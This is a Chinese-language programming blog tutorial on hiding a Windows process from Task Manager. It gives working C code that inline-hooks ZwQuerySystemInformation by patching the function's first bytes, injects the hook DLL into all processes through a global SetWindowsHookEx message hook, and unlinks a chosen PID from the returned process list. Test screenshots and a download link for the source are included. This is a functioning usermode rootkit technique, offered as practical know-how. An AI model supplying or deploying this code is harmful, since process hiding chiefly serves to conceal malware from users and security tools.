1. 程式人生 > 其它 >uniaccess程序無法結束 拒絕訪問_Windows程式設計技術:程序隱藏

uniaccess程序無法結束 拒絕訪問_Windows程式設計技術:程序隱藏

技術標籤:uniaccess程序無法結束 拒絕訪問unity exe*32只有程序windows api message boxwindows api音樂

前面介紹了“程序偽裝”、“傀儡程序”,今天介紹“程序隱藏”,這是實戰中經常遇到的跟程序有關的技巧。實現程序隱藏的方法很多,這次介紹的是一種較為直接的隱藏方式,InlineHOOK。

一、函式介紹

  1. NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );

引數

  • SystemInformationClass [in]
    要檢索的系統資訊的型別。該引數可以是SYSTEM_INFORMATION_CLASS列舉型別中的以下值之一,其等於5相當於程序資訊;

  • SystemInformation[in,out]
    指向緩衝區的指標,用於接收請求的資訊。該資訊的大小和結構取決於SystemInformationClass引數的值,如下表所示;

  • SystemInformationLength [in]
    SystemInformation引數指向的緩衝區的大小(以位元組為單位);

  • ReturnLength [out]

    一個可選的指標,指向函式寫入所請求資訊的實際大小的位置。如果該大小小於或等於SystemInformationLength引數,則該函式將該資訊複製到SystemInformation緩衝區中; 否則返回一個NTSTATUS錯誤程式碼,並以ReturnLength返回接收所請求資訊所需的緩衝區大小。

返回值

  • 返回NTSTATUS成功或錯誤程式碼。

  • NTSTATUS錯誤程式碼的形式和意義在DDK中提供的Ntstatus.h標頭檔案中列出,並在DDK文件中進行了說明。

注意

  • ZwQuerySystemInformation函式及其返回的結構在作業系統內部,並可能從一個版本的Windows更改為另一個版本。為了保持應用程式的相容性,最好使用前面提到的替代功能。

  • 如果您使用ZwQuerySystemInformation,請通過執行時動態連結訪問該函式。如果功能已被更改或從作業系統中刪除,這將使您的程式碼有機會正常響應。但簽名變更可能無法檢測。

  • 此功能沒有關聯的匯入庫。您必須使用LoadLibrary和GetProcAddress函式動態連結到Ntdll.dll。

二、實現原理

首先,先來講解下為什麼 HOOK ZwQuerySystemInformation 函式就可以實現指定程序隱藏。是因為我們遍歷程序通常是呼叫系統WIN32 API函式EnumProcess 、CreateToolhelp32Snapshot等函式來實現,這些WIN32 API它們內部最終是通過呼叫 ZwQuerySystemInformation這個函式實現的獲取程序列表資訊。所以,我們只要HOOK ZwQuerySystemInformation函式,對它獲取的程序列表資訊進行修改,把有我們要隱藏的程序資訊從中去掉,那麼 ZwQuerySystemInformation 就返回了我們修改後的資訊,其它程式獲取這個被修的資訊後,自然獲取不到我們隱藏的程序,這樣,指定程序就被隱藏起來了。

其中,我們將HOOK ZwQuerySystemInformation 函式的程式碼部分寫在 DLL 工程中,原因是我們要實現的是隱藏指定程序,而不是單單在自己的程序內隱藏指定程序。寫成 DLL 檔案,可以方便我們將 DLL 檔案注入到其它程序的空間,從而 HOOK 其它程序空間中的 ZwQuerySystemInformation 函式,這樣,就實現了在其它程序空間中也看不到指定程序了。

我們選取 DLL 注入的方法是設定全域性鉤子,這樣就可以快速簡單地將指定 DLL 注入到所有的程序空間裡了。

其中,HOOK API 使用的是自己寫的 Inline Hook,即在 32 位程式下修改函式入口前 5 個位元組,跳轉到我們的新的替代函式;對於 64 位程式,修改函式入口前 12 位元組,跳轉到我們的新的替代函式。

三、流程

首先,獲取API函式的地址。可以從程序中獲取HOOK API對應的模組基址,這樣,就可以通過GetProcAddress函式獲取API函式在程序中的地址。

然後,根據32位和64位版本,計算需要修改HOOK API函式的前幾字節資料。若是32位系統,則需要計算跳轉偏移,並修改函式的前5個位元組資料;若是64位系統,則需要修改函式的前12位元組資料。

接著,修改API函式的前幾個位元組資料的頁面保護屬性,更改為RWX,這樣是為了確保修改後記憶體能夠執行。

最後,為了能夠還原操作,要在修改資料前先對資料進行備份,然後再修改資料,並還原頁面保護屬性。

四、程式碼

1、HOOK ZwQuerySystemInformation

  1. void HookApi()

  2. {

  3. // 獲取 ntdll.dll 的載入基址, 若沒有則返回

  4. HMODULE hDll = ::GetModuleHandle("ntdll.dll");

  5. // 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

  6. // 32 位下修改前 5 位元組, 64 位下修改前 12 位元組

  7. #ifndef _WIN64

  8. // jmp New_ZwQuerySystemInformation

  9. // 機器碼位:e9 _dwOffset(跳轉偏移)

  10. // addr1 --> jmp _dwNewAddress指令的下一條指令的地址,即eip的值

  11. // addr2 --> 跳轉地址的值,即_dwNewAddress的值

  12. // 跳轉偏移 _dwOffset = addr2 - addr1

  13. BYTE pData[5] = { 0xe9, 0, 0, 0, 0};

  14. DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;

  15. ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));

  16. // 儲存前 5 位元組資料

  17. ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));

  18. #else

  19. // mov rax,0x1122334455667788

  20. // jmp rax

  21. // 機器碼是:

  22. // 48 b8 8877665544332211

  23. // ff e0

  24. BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};

  25. ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;

  26. ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));

  27. // 儲存前 12 位元組資料

  28. ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));

  29. #endif

  30. // 設定頁面的保護屬性為 可讀、可寫、可執行

  31. DWORD dwOldProtect = 0;

  32. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);

  33. // 修改

  34. ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

  35. // 還原頁面保護屬性

  36. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

  37. }

2、New_ZwQuerySystemInformation

首先,使用UnHookApi防止因多次同時訪問HOOK函式而造成資料混亂,導致資料修改失敗。同一時間,應該只有一個執行緒訪問HOOK函式。

然後,通過GetProcAddress函式從ntdll.dll中獲取ZwQuerySystemInfomation函式地址並呼叫執行,檢索並獲取系統資訊。

接著判斷檢索訊息型別是否是程序資訊,若是則遍歷檢索結果,從中剔除隱藏程序的訊息。

最後,資料修改完畢後,繼續執行HOOK操作,並返回結果。

  1. NTSTATUS New_ZwQuerySystemInformation(

  2. SYSTEM_INFORMATION_CLASS SystemInformationClass,

  3. PVOID SystemInformation,

  4. ULONG SystemInformationLength,

  5. PULONG ReturnLength

  6. )

  7. {

  8. NTSTATUS status = 0;

  9. PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;

  10. // 要隱藏的程序PID

  11. DWORD dwHideProcessId = 13928;

  12. // UNHOOK API

  13. UnhookApi();

  14. // 獲取 ntdll.dll 的載入基址, 若沒有則返回

  15. HMODULE hDll = ::GetModuleHandle("ntdll.dll");

  16. // 獲取 ZwQuerySystemInformation 函式地址

  17. typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

  18. // 呼叫原函式 ZwQuerySystemInformation

  19. status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

  1. if (NT_SUCCESS(status) && 5 == SystemInformationClass)

  2. {

  3. pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

  4. while (TRUE)

  5. {

  6. // 判斷是否是要隱藏的程序PID

  7. if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)

  8. {

  9. if (0 == pCur->NextEntryOffset)

  10. {

  11.                                  //當我們需要隱藏的程序是最後一個數據時//就將上一個資料結構的NextEntryOffset置0//這時系統在遍歷我們程序時就不會發現了
  12. pPrev->NextEntryOffset = 0;

  13. }

  14. else

  15. {

  16.                                //當我們需要隱藏的程序 後面還有程序時//越過要隱藏的程序讓 NextEntryOffset //指向下一個資料塊
  17. pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;

  18. }

  19. }

  20. else

  21. { pPrev = pCur; }

  22. if (0 == pCur->NextEntryOffset)

  23. {

  24. break;

  25. }

  26. pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);

  27. }

  28. }

  29. // HOOK API

  30. HookApi();

  31. return status;

  32. }

3、設定全域性訊息鉤子注入DLL

  1. int _tmain(int argc, _TCHAR* argv[])

  2. {

  3. // 載入DLL並獲取控制代碼

  4. HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");

  5. printf("Load Library OK.\n");

  6. // 設定全域性鉤子

  7. g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0);

  8. printf("Set Windows Hook OK.\n");

  9. system("pause");

  10. // 解除安裝全域性鉤子

  11. UnhookWindowsHookEx(g_hHook);

  12. printf("Unhook Windows Hook OK.\n");

  13. // 解除安裝DLL

  14. ::FreeLibrary(hDll);

  15. system("pause");

  16. return 0;

  17. }

以上的HOOK函式均寫在DLL中,寫在其中可以方便將DLL注入到其他程序空間,從而隱藏其他程序空間中的ZwQuerySystemInfomation函式,而不單單在自己的程序空間內隱藏指定程序。

4、HideProcess_ZwQuerySystemInformation_Test:定義DLL應用程式的匯出函式

對於鉤子函式來說,要求DLL的資料段對所有的程序也必須相同。這樣您就必須把資料段設成共享的,這可以通過在連結開關中指定段的屬性來實現。#pragma data_seg("Shared")HINSTANCE g_hInstance = NULL;HHOOK g_hHook = NULL;HWND g_hWnd = NULL;#pragma data_seg()#pragma comment(linker,"/SECTION:Shared,RWS")

Shared代表該段是共享段。

// 訊息全域性鉤子回撥函式

LRESULT CALLBACK GetMsgProc(

int code, // hook code

WPARAM wParam, // removal option

LPARAM lParam // message

)

{

// 不進行任何操作,設定全域性鉤子的目的就是進行DLL注入而已,主要是主入口進行的API掛鉤

return ::CallNextHookEx(g_hHook, code, wParam, lParam);

}

// 設定全域性鉤子

HHOOK SetHook()

{

HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);

g_hHook = hHook;

return hHook;

}

// 解除安裝全域性鉤子

BOOL UnsetHook(HHOOK hHook)

{

UnhookWindowsHookEx(hHook);

return TRUE;

}

5、結構體

在原始碼中有“if(NT_SUCCESS(status)&&5==SystemInformationClass)”,這裡的SystemInformationClass是什麼?

508d50e1-ea18-eb11-8da9-e4434bdf6706.png

定義是程序資訊為5;

五、程式測試

我們執行將要隱藏程序的程式DisplaySample.exe,然後開啟工作管理員,可以檢視到它是處於可見狀態。接著,以管理員許可權執行我們的程式,設定全域性訊息鉤子,將 DLL 注入到所有的程序中,DLL便在DllMain入口點函式處HOOK ZwQuerySystemInformation函式,成功隱藏DisplaySample.exe的程序。

568d50e1-ea18-eb11-8da9-e4434bdf6706.png

這是我們要測試隱藏的程序,PID=13928;

執行程式,

588d50e1-ea18-eb11-8da9-e4434bdf6706.png

再檢視工作管理員,

5b8d50e1-ea18-eb11-8da9-e4434bdf6706.png

對比上圖,發現DisplaySample.exe不見了;

換種方式再測試下,讓DisplaySample.exe放於cmd下執行,

638d50e1-ea18-eb11-8da9-e4434bdf6706.png

呈現出這樣的隸屬關係,再執行隱藏程式,

678d50e1-ea18-eb11-8da9-e4434bdf6706.png

發現沒有了,這樣的隸屬關係看得更清楚;

六、驗證

6a8d50e1-ea18-eb11-8da9-e4434bdf6706.png

因為通過“HideProcess_ZwQuerySystemInformation_Test.dll”來HOOK ZwQuerySystemInformation,所以查詢這個Dll檔案,發現所有呼叫ZwQuerySystemInformation都被指向了這個Dll檔案。

好的,先到此吧。關於深層次的驗證,我也有點沒搞透,這個問題將持續研究中。

下載地址:

連結:https://pan.baidu.com/s/1RVVMNKcBHBbEVZNYaRZsuA

提取碼:tljs

6d8d50e1-ea18-eb11-8da9-e4434bdf6706.jpeg